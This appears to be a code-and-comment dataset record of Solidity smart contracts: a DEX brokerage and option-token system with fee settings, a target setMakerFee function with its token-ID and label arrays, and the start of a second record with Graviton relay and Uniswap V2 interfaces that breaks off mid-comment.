tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].add(tradeValues[0]);
//from maker, take ether payment and fee
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(valueInEth);
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(makerFee.mul(valueInEth).div(1 ether));
//add ether payment to taker, take fee, take gasCost
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].add(valueInEth);
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].sub(takerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].sub(tradeValues[10]);
//take maker fee, taker fee and gasCost
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(makerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(takerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(tradeValues[10]);
orderFills[orderHash] = orderFills[orderHash].add(tradeValues[0]);
orderFills[tradeHash] = orderFills[tradeHash].add(tradeValues[0]);
}
lastActiveTransaction[tradeAddresses[2]] = block.number;
lastActiveTransaction[tradeAddresses[3]] = block.number;
emit Trade(tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeAddresses[2], tradeAddresses[3]);
return true;
}
}
contract OptionFactory is Ownable {
using SafeMath for uint256;
mapping (address => bool) public admins;
mapping(uint
=> mapping(address
=> mapping(address
=> mapping(uint
=> mapping(bool
=> mapping(uint8
=> OptionToken)))))) register;
DexBrokerage public exchangeContract;
ERC20 public dexb;
uint public dexbTreshold;
address public dexbAddress;
// Fees for all.
uint public issueFee;
uint public executeFee;
uint public cancelFee;
// Fees for DEXB holders.
uint public dexbIssueFee;
uint public dexbExecuteFee;
uint public dexbCancelFee;
// Value represents 100%
uint public HUNDERED_PERCENT = 100000;
// Max fee is 1%
uint public MAX_FEE = HUNDERED_PERCENT.div(100);
constructor(address _dexbAddress, uint _dexbTreshold, address _dexBrokerageAddress) public {
dexbAddress = _dexbAddress;
dexb = ERC20(_dexbAddress);
dexbTreshold = _dexbTreshold;
exchangeContract = DexBrokerage(_dexBrokerageAddress);
// Set fee for everyone to 0.3%
setIssueFee(300);
setExecuteFee(300);
setCancelFee(300);
// Set fee for DEXB holders to 0.2%
setDexbIssueFee(200);
setDexbExecuteFee(200);
setDexbCancelFee(200);
}
function getOptionAddress(
uint expiryDate,
address firstToken,
address secondToken,
uint strikePrice,
bool isCall,
uint8 decimals) public view returns (address) {
return address(register[expiryDate][firstToken][secondToken][strikePrice][isCall][decimals]);
}
function createOption(
uint expiryDate,
address firstToken,
address secondToken,
uint minIssueAmount,
uint strikePrice,
bool isCall,
uint8 decimals,
string name) public {
require(address(0) == getOptionAddress(
expiryDate, firstToken, secondToken, strikePrice, isCall, decimals
));
OptionToken newOption = new OptionToken(
this,
firstToken,
secondToken,
minIssueAmount,
expiryDate,
strikePrice,
isCall,
name,
decimals
);
register[expiryDate][firstToken][secondToken]
[strikePrice][isCall][decimals] = newOption;
}
modifier validFeeOnly(uint fee) {
require (fee <= MAX_FEE);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function setAdmin(address admin, bool isAdmin) onlyOwner public {
admins[admin] = isAdmin;
}
function setIssueFee(uint fee) public onlyAdmin validFeeOnly(fee) {
issueFee = fee;
}
function setExecuteFee(uint fee) public onlyAdmin validFeeOnly(fee) {
executeFee = fee;
}
function setCancelFee(uint fee) public onlyAdmin validFeeOnly(fee) {
cancelFee = fee;
}
function setDexbIssueFee(uint fee) public onlyAdmin validFeeOnly(fee) {
dexbIssueFee = fee;
}
function setDexbExecuteFee(uint fee) public onlyAdmin validFeeOnly(fee) {
dexbExecuteFee = fee;
}
function setDexbCancelFee(uint fee) public onlyAdmin validFeeOnly(fee) {
dexbCancelFee = fee;
}
function setDexbTreshold(uint treshold) public onlyAdmin {
dexbTreshold = treshold;
}
function calcIssueFeeAmount(address user, uint value) public view returns (uint) {
uint feeLevel = getFeeLevel(user, dexbIssueFee, issueFee);
return calcFee(feeLevel, value);
}
function calcExecuteFeeAmount(address user, uint value) public view returns (uint) {
uint feeLevel = getFeeLevel(user, dexbExecuteFee, executeFee);
return calcFee(feeLevel, value);
}
function calcCancelFeeAmount(address user, uint value) public view returns (uint) {
uint feeLevel = getFeeLevel(user, dexbCancelFee, cancelFee);
return calcFee(feeLevel, value);
}
function getFeeLevel(address user, uint aboveTresholdFee, uint belowTresholdFee) internal view returns (uint) {
if(dexb.balanceOf(user) + exchangeContract.balanceOf(dexbAddress, user) >= dexbTreshold){
return aboveTresholdFee;
} else {
return belowTresholdFee;
}
}
function calcFee(uint feeLevel, uint value) internal view returns (uint) {
return value.mul(feeLevel).div(HUNDERED_PERCENT);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `_exchange` to transferFrom(...) `_amount` of
// tokens from the owner's account. The `_exchange` contract function
// `receiveTokenDeposit(...)` is then executed
// ------------------------------------------------------------------------
function approveAndDeposit(DexBrokerage _exchange, uint _amount) public returns (bool success) {
allowed[msg.sender][_exchange] = _amount;
emit Approval(msg.sender, _exchange, _amount);
_exchange.receiveTokenDeposit(address(this), msg.sender, _amount);
return true;
}
}
contract OptionToken is StandardToken {
using SafeMath for uint256;
OptionFactory public factory;
ERC20 public firstToken;
ERC20 public secondToken;
uint public minIssueAmount;
uint public expiry;
uint public strikePrice;
bool public isCall;
string public symbol;
uint public decimals;
struct Issuer {
address addr;
uint amount;
}
Issuer[] internal issuers;
constructor(
address _factory,
address _firstToken,
address _secondToken,
uint _minIssueAmount,
uint _expiry,
uint _strikePrice,
bool _isCall,
string _symbol,
uint8 _decimals) public {
require (_firstToken != _secondToken, 'Tokens should be different.');
factory = OptionFactory(_factory);
firstToken = ERC20(_firstToken);
secondToken = ERC20(_secondToken);
minIssueAmount = _minIssueAmount;
expiry = _expiry;
strikePrice = _strikePrice;
isCall = _isCall;
symbol = _symbol;
decimals = uint(_decimals);
}
modifier onlyAdmin {
require(factory.admins(msg.sender));
_;
}
/** Public API */
function setMinIssueAmount(uint minAmount) onlyAdmin public {
minIssueAmount = minAmount;
}
function issueWithToken(uint amount) public beforeExpiry canIssueWithToken returns (bool) {
require(amount >= minIssueAmount);
uint fee = factory.calcIssueFeeAmount(msg.sender, amount);
uint amountWithoutFee = amount - fee;
transferTokensInOnIssue(amountWithoutFee, fee);
issue(amountWithoutFee);
return true;
}
function issueWithWei() public payable beforeExpiry canIssueWithWei returns (bool) {
require(msg.value >= minIssueAmount);
uint fee = factory.calcIssueFeeAmount(msg.sender, msg.value);
uint amountWithoutFee = msg.value - fee;
factory.owner().transfer(fee);
if(isCall){
issue(amountWithoutFee);
} else {
uint amount = amountWithoutFee.mul(uint(10).pow(decimals)).div(strikePrice);
issue(amount);
}
return true;
}
function executeWithToken(uint amount) public beforeExpiry canExecuteWithToken returns (bool) {
transferTokensInOnExecute(amount);
execute(amount);
return true;
}
function executeWithWei() public payable beforeExpiry canExecuteWithWei {
if(isCall){
uint amount = msg.value.mul(uint(10).pow(decimals)).div(strikePrice);
execute(amount);
} else {
execute(msg.value);
}
}
function cancel(uint amount) public beforeExpiry {
burn(msg.sender, amount);
bool found = false;
for (uint i = 0; i < issuers.length; i++) {
if(issuers[i].addr == msg.sender) {
found = true;
issuers[i].amount = issuers[i].amount.sub(amount);
transferTokensOrWeiOutToIssuerOnCancel(amount);
break;
}
}
require(found);
}
function refund() public afterExpiry {
// Distribute tokens or wei to issuers.
for(uint i = 0; i < issuers.length; i++) {
if(issuers[i].amount > 0){
transferTokensOrWeiOutToIssuerOnRefund(issuers[i].addr, issuers[i].amount);
}
}
}
/** Internal API */
function transferTokensInOnIssue(uint amountForContract, uint feeAmount) internal returns (bool) {
ERC20 token;
uint toTransferIntoContract;
uint toTransferFee;
if(isCall){
token = firstToken;
toTransferIntoContract = amountForContract;
toTransferFee = feeAmount;
} else {
token = secondToken;
toTransferIntoContract = strikePrice.mul(amountForContract).div(uint(10).pow(decimals));
toTransferFee = strikePrice.mul(feeAmount).div(uint(10).pow(decimals));
}
require(token != address(0));
require(transferTokensIn(token, toTransferIntoContract + toTransferFee));
require(transferTokensToOwner(token, toTransferFee));
return true;
}
function transferTokensInOnExecute(uint amount) internal returns (bool) {
ERC20 token;
uint toTransfer;
if(isCall){
token = secondToken;
toTransfer = strikePrice.mul(amount).div(uint(10).pow(decimals));
} else {
token = firstToken;
toTransfer = amount;
}
require(token != address(0));
require(transferTokensIn(token, toTransfer));
return true;
}
function transferTokensIn(ERC20 token, uint amount) internal returns (bool) {
require(token.transferFrom(msg.sender, this, amount));
return true;
}
function transferTokensToOwner(ERC20 token, uint amount) internal returns (bool) {
require(token.transfer(factory.owner(), amount));
return true;
}
function transfer(ERC20 token, uint amount) internal returns (bool) {
require(token.transferFrom(msg.sender, factory.owner(), amount));
return true;
}
function issue(uint amount) internal returns (bool){
mint(msg.sender, amount);
bool found = false;
for (uint i = 0; i < issuers.length; i++) {
if(issuers[i].addr == msg.sender) {
issuers[i].amount = issuers[i].amount.add(amount);
found = true;
break;
}
}
if(!found) {
issuers.push(Issuer(msg.sender, amount));
}
}
function mint(address to, uint amount) internal returns (bool) {
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
return true;
}
function execute(uint amount) internal returns (bool) {
burn(msg.sender, amount);
transferTokensOrWeiOutToSenderOnExecute(amount);
// Distribute tokens to issuers.
uint amountToDistribute = amount;
uint i = issuers.length - 1;
while(amountToDistribute > 0){
if(issuers[i].amount > 0){
if(issuers[i].amount >= amountToDistribute){
transferTokensOrWeiOutToIssuerOnExecute(issuers[i].addr, amountToDistribute);
issuers[i].amount = issuers[i].amount.sub(amountToDistribute);
amountToDistribute = 0;
} else {
transferTokensOrWeiOutToIssuerOnExecute(issuers[i].addr, issuers[i].amount);
amountToDistribute = amountToDistribute.sub(issuers[i].amount);
issuers[i].amount = 0;
}
}
i = i - 1;
}
return true;
}
function transferTokensOrWeiOutToSenderOnExecute(uint amount) internal returns (bool) {
ERC20 token;
uint toTransfer = 0;
if(isCall){
token = firstToken;
toTransfer = amount;
} else {
token = secondToken;
toTransfer = strikePrice.mul(amount).div(uint(10).pow(decimals));
}
uint fee = factory.calcExecuteFeeAmount(msg.sender, toTransfer);
toTransfer = toTransfer - fee;
if(token == address(0)){
require(msg.sender.send(toTransfer));
if(fee > 0){
require(factory.owner().send(fee));
}
} else {
require(token.transfer(msg.sender, toTransfer));
if(fee > 0){
require(token.transfer(factory.owner(), fee));
}
}
return true;
}
function transferTokensOrWeiOutToIssuerOnExecute(address issuer, uint amount) internal returns (bool) {
ERC20 token;
uint toTransfer;
if(isCall){
token = secondToken;
toTransfer = strikePrice.mul(amount).div(uint(10).pow(decimals));
} else {
token = firstToken;
toTransfer = amount;
}
if(token == address(0)){
require(issuer.send(toTransfer));
} else {
require(token.transfer(issuer, toTransfer));
}
return true;
}
function burn(address from, uint256 amount) internal returns (bool) {
require(amount <= balances[from]);
balances[from] = balances[from].sub(amount);
totalSupply_ = totalSupply_.sub(amount);
emit Transfer(from, address(0), amount);
return true;
}
function transferTokensOrWeiOutToIssuerOnCancel(uint amount) internal returns (bool){
ERC20 token;
uint toTransfer = 0;
if(isCall){
token = firstToken;
toTransfer = amount;
} else {
token = secondToken;
toTransfer = strikePrice.mul(amount).div(uint(10).pow(decimals));
}
uint fee = factory.calcCancelFeeAmount(msg.sender, toTransfer);
toTransfer = toTransfer - fee;
if(token == address(0)){
require(msg.sender.send(toTransfer));
if(fee > 0){
require(factory.owner().send(fee));
}
} else {
require(token.transfer(msg.sender, toTransfer));
if(fee > 0){
require(token.transfer(factory.owner(), fee));
}
}
return true;
}
function transferTokensOrWeiOutToIssuerOnRefund(address issuer, uint amount) internal returns (bool){
ERC20 token;
uint toTransfer = 0;
if(isCall){
token = firstToken;
toTransfer = amount;
} else {
token = secondToken;
toTransfer = strikePrice.mul(amount).div(uint(10).pow(decimals));
}
if(token == address(0)){
issuer.transfer(toTransfer);
} else {
require(token.transfer(issuer, toTransfer));
}
return true;
}
/** Modifiers */
modifier canIssueWithWei() {
require(
(isCall && firstToken == address(0)) ||
(!isCall && secondToken == address(0))
);
_;
}
modifier canIssueWithToken() {
require(
(isCall && firstToken != address(0)) ||
(!isCall && secondToken != address(0))
);
_;
}
modifier canExecuteWithWei() {
require(
(isCall && secondToken == address(0)) ||
(!isCall && firstToken == address(0))
);
_;
}
modifier canExecuteWithToken() {
require(
(isCall && secondToken != address(0)) ||
(!isCall && firstToken != address(0))
);
_;
}
modifier beforeExpiry() {
require (now <= expiry);
_;
}
modifier afterExpiry() {
require (now > expiry);
_;
}
}
|
market maker fee will never be more than 1%
|
function setMakerFee(uint256 _makerFee) onlyAdmin public {
uint256 oldFee = makerFee;
if (_makerFee > 10 finney) {
_makerFee = 10 finney;
}
require(makerFee != _makerFee);
makerFee = _makerFee;
emit MakerFeeUpdated(oldFee, makerFee);
}
| 2,511,674 |
[
1,
27151,
312,
6388,
14036,
903,
5903,
506,
1898,
2353,
404,
9,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
444,
12373,
14667,
12,
11890,
5034,
389,
29261,
14667,
13,
1338,
4446,
1071,
288,
203,
565,
2254,
5034,
1592,
14667,
273,
312,
6388,
14667,
31,
203,
565,
309,
261,
67,
29261,
14667,
405,
1728,
574,
82,
402,
13,
288,
203,
1377,
389,
29261,
14667,
273,
1728,
574,
82,
402,
31,
203,
565,
289,
203,
565,
2583,
12,
29261,
14667,
480,
389,
29261,
14667,
1769,
203,
565,
312,
6388,
14667,
273,
389,
29261,
14667,
31,
203,
565,
3626,
490,
6388,
14667,
7381,
12,
1673,
14667,
16,
312,
6388,
14667,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-20
*/
//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IERC20 {
function mint(address _to, uint256 _value) external;
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
}
interface IWETH {
function deposit() external payable;
function withdraw(uint amount) external;
function transfer(address to, uint amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
/// @title The interface for Graviton oracle router
/// @notice Forwards data about crosschain locking/unlocking events to balance keepers
/// @author Artemij Artamonov - <[email protected]>
/// @author Anton Davydov - <[email protected]>
interface IOracleRouterV2 {
/// @notice User that can grant access permissions and perform privileged actions
function owner() external view returns (address);
/// @notice Transfers ownership of the contract to a new account (`_owner`).
/// @dev Can only be called by the current owner.
function setOwner(address _owner) external;
/// @notice Look up if `user` can route data to balance keepers
function canRoute(address user) external view returns (bool);
/// @notice Sets the permission to route data to balance keepers
/// @dev Can only be called by the current owner.
function setCanRoute(address parser, bool _canRoute) external;
/// @notice Routes value to balance keepers according to the type of event associated with topic0
/// @param uuid Unique identifier of the routed data
/// @param chain Type of blockchain associated with the routed event, i.e. "EVM"
/// @param emiter The blockchain-specific address where the data event originated
/// @param topic0 Unique identifier of the event
/// @param token The blockchain-specific token address
/// @param sender The blockchain-specific address that sent the tokens
/// @param receiver The blockchain-specific address to receive the tokens
/// @dev receiver is always same as sender, kept for compatibility
/// @param amount The amount of tokens
function routeValue(
bytes16 uuid,
string memory chain,
bytes memory emiter,
bytes32 topic0,
bytes memory token,
bytes memory sender,
bytes memory receiver,
uint256 amount
) external;
/// @notice Event emitted when the owner changes via #setOwner`.
/// @param ownerOld The account that was the previous owner of the contract
/// @param ownerNew The account that became the owner of the contract
event SetOwner(address indexed ownerOld, address indexed ownerNew);
/// @notice Event emitted when the `parser` permission is updated via `#setCanRoute`
/// @param owner The owner account at the time of change
/// @param parser The account whose permission to route data was updated
/// @param newBool Updated permission
event SetCanRoute(
address indexed owner,
address indexed parser,
bool indexed newBool
);
/// @notice Event emitted when data is routed
/// @param uuid Unique identifier of the routed data
/// @param chain Type of blockchain associated with the routed event, i.e. "EVM"
/// @param emiter The blockchain-specific address where the data event originated
/// @param token The blockchain-specific token address
/// @param sender The blockchain-specific address that sent the tokens
/// @param receiver The blockchain-specific address to receive the tokens
/// @dev receiver is always same as sender, kept for compatibility
/// @param amount The amount of tokens
event RouteValue(
bytes16 uuid,
string chain,
bytes emiter,
bytes indexed token,
bytes indexed sender,
bytes indexed receiver,
uint256 amount
);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/// @title The interface for Graviton relay contract
/// @notice Trades native tokens for gton to start crosschain swap,
/// trades gton for native tokens to compelete crosschain swap
/// @author Artemij Artamonov - <[email protected]>
/// @author Anton Davydov - <[email protected]>
interface IRelay is IOracleRouterV2 {
/// @notice ERC20 wrapped version of the native token
function wnative() external view returns (IWETH);
/// @notice UniswapV2 router
function router() external view returns (IUniswapV2Router01);
/// @notice relay token
function gton() external view returns (IERC20);
/// @notice chains for relay swaps to and from
function isAllowedChain(string calldata chain) external view returns (bool);
/// @notice allow/forbid chain to relay swap
/// @param chain blockchain name, e.g. 'FTM', 'PLG'
/// @param newBool new permission for the chain
function setIsAllowedChain(string calldata chain, bool newBool) external;
/// @notice minimum fee for a destination
function feeMin(string calldata destination) external view returns (uint256);
/// @notice percentage fee for a destination
function feePercent(string calldata destination) external view returns (uint256);
/// @notice Sets fees for a destination
/// @param _feeMin Minimum fee
/// @param _feePercent Percentage fee
function setFees(string calldata destination, uint256 _feeMin, uint256 _feePercent) external;
/// @notice minimum amount of native tokens allowed to swap
function lowerLimit(string calldata destination) external view returns (uint256);
/// @notice maximum amount of native tokens allowed to swap
function upperLimit(string calldata destination) external view returns (uint256);
/// @notice Sets limits for a destination
/// @param _lowerLimit Minimum amount of native tokens allowed to swap
/// @param _upperLimit Maximum amount of native tokens allowed to swap
function setLimits(string calldata destination, uint256 _lowerLimit, uint256 _upperLimit) external;
/// @notice topic0 of the event associated with initiating a relay transfer
function relayTopic() external view returns (bytes32);
/// @notice Sets topic0 of the event associated with initiating a relay transfer
function setRelayTopic(bytes32 _relayTopic) external;
/// @notice Trades native tokens for relay, takes fees,
/// emits event to start crosschain transfer
/// @param destination The blockchain that will receive native tokens
/// @param receiver The account that will receive native tokens
function lock(string calldata destination, bytes calldata receiver) external payable;
/// @notice Transfers locked ERC20 tokens to owner
function reclaimERC20(IERC20 token, uint256 amount) external;
/// @notice Transfers locked native tokens to owner
function reclaimNative(uint256 amount) external;
/// @notice Event emitted when native tokens equivalent to
/// `amount` of relay tokens are locked via `#lock`
/// @dev Oracles read this event and unlock
/// equivalent amount of native tokens on the destination chain
/// @param destinationHash The blockchain that will receive native tokens
/// @dev indexed string returns keccak256 of the value
/// @param receiverHash The account that will receive native tokens
/// @dev indexed bytes returns keccak256 of the value
/// @param destination The blockchain that will receive native tokens
/// @param receiver The account that will receive native tokens
/// @param amount The amount of relay tokens equivalent to the
/// amount of locked native tokens
event Lock(
string indexed destinationHash,
bytes indexed receiverHash,
string destination,
bytes receiver,
uint256 amount
);
/// @notice Event emitted when fees are calculated
/// @param amountIn Native tokens sent to dex
/// @param amountOut Relay tokens received on dex
/// @param feeMin Minimum fee
/// @param feePercent Percentage for the fee in %
/// @dev precision 3 decimals
/// @param fee Percentage fee in relay tokens
/// @param amountMinusFee Relay tokens minus fees
event CalculateFee(
uint256 amountIn,
uint256 amountOut,
uint256 feeMin,
uint256 feePercent,
uint256 fee,
uint256 amountMinusFee
);
/// @notice Event emitted when the relay tokens are traded for
